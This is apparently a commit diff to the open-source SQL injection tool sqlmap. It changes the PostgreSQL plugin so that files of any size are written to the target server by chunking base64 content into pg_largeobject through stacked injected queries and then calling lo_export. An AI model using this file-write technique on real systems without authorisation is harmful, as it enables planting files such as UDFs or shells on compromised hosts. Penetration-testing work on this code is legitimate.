1111from lib .core .data import kb
1212from lib .core .data import logger
1313from lib .core .exception import SqlmapUnsupportedFeatureException
14+ from lib .core .settings import LOBLKSIZE
1415from lib .request import inject
1516from plugins .generic .filesystem import Filesystem as GenericFilesystem
1617
1718class Filesystem (GenericFilesystem ):
1819 def __init__ (self ):
1920 self .oid = None
21+ self .page = None
2022
2123 GenericFilesystem .__init__ (self )
2224
@@ -35,79 +37,39 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
3537
3638 def stackedWriteFile (self , wFile , dFile , fileType , forceCheck = False ):
3739 wFileSize = os .path .getsize (wFile )
38-
39- if wFileSize > 8192 :
40- errMsg = "on PostgreSQL it is not possible to write files "
41- errMsg += "bigger than 8192 bytes at the moment"
42- raise SqlmapUnsupportedFeatureException (errMsg )
40+ content = open (wFile , "rb" ).read ()
4341
4442 self .oid = randomInt ()
45-
46- debugMsg = "creating a support table to write the base64 "
47- debugMsg += "encoded file to"
48- logger .debug (debugMsg )
43+ self .page = 0
4944
5045 self .createSupportTbl (self .fileTblName , self .tblField , "text" )
5146
52- logger .debug ("encoding file to its base64 string value" )
53- fcEncodedList = self .fileEncode (wFile , "base64" , False )
54-
55- debugMsg = "forging SQL statements to write the base64 "
56- debugMsg += "encoded file to the support table"
57- logger .debug (debugMsg )
58-
59- sqlQueries = self .fileToSqlQueries (fcEncodedList )
60-
61- logger .debug ("inserting the base64 encoded file to the support table" )
62-
63- for sqlQuery in sqlQueries :
64- inject .goStacked (sqlQuery )
65-
6647 debugMsg = "create a new OID for a large object, it implicitly "
6748 debugMsg += "adds an entry in the large objects system table"
6849 logger .debug (debugMsg )
6950
7051 # References:
7152 # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
7253 # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
54+
7355 inject .goStacked ("SELECT lo_unlink(%d)" % self .oid )
74- inject .goStacked ("SELECT lo_create(%d)" % self .oid )
7556
76- debugMsg = "updating the system large objects table assigning to "
77- debugMsg += "the just created OID the binary (base64 decoded) UDF "
78- debugMsg += "as data"
79- logger .debug (debugMsg )
57+ for offset in xrange (0 , wFileSize , LOBLKSIZE ):
58+ fcEncodedList = self .fileContentEncode (content [offset :offset + LOBLKSIZE ], "base64" , False )
59+ sqlQueries = self .fileToSqlQueries (fcEncodedList )
60+
61+ for sqlQuery in sqlQueries :
62+ inject .goStacked (sqlQuery )
63+
64+ inject .goStacked ("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self .oid , self .page , self .tblField , self .fileTblName ))
65+ inject .goStacked ("DELETE FROM %s" % self .fileTblName )
8066
81- # Refereces:
82- # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
83- # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
84- #
85- # NOTE: From PostgreSQL site:
86- #
87- # "The data stored in the large object will never be more than
88- # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
89- # typically 2 Kb"
90- #
91- # As a matter of facts it was possible to store correctly a file
92- # large 13776 bytes, the problem arises at next step (lo_export())
93- #
94- # Inject manually into PostgreSQL system table pg_largeobject the
95- # base64-decoded file content. Note that PostgreSQL >= 9.0 does
96- # not accept UPDATE into that table for some reason.
97- self .getVersionFromBanner ()
98- banVer = kb .bannerFp ["dbmsVersion" ]
99-
100- if banVer >= "9.0" :
101- inject .goStacked ("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self .oid , self .tblField , self .fileTblName ))
102- else :
103- inject .goStacked ("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self .tblField , self .fileTblName , self .oid ))
67+ self .page += 1
10468
10569 debugMsg = "exporting the OID %s file content to " % fileType
10670 debugMsg += "file '%s'" % dFile
10771 logger .debug (debugMsg )
10872
109- # NOTE: lo_export() exports up to only 8192 bytes of the file
110- # (pg_largeobject 'data' field)
11173 inject .goStacked ("SELECT lo_export(%d, '%s')" % (self .oid , dFile ), silent = True )
11274
11375 written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
0 commit comments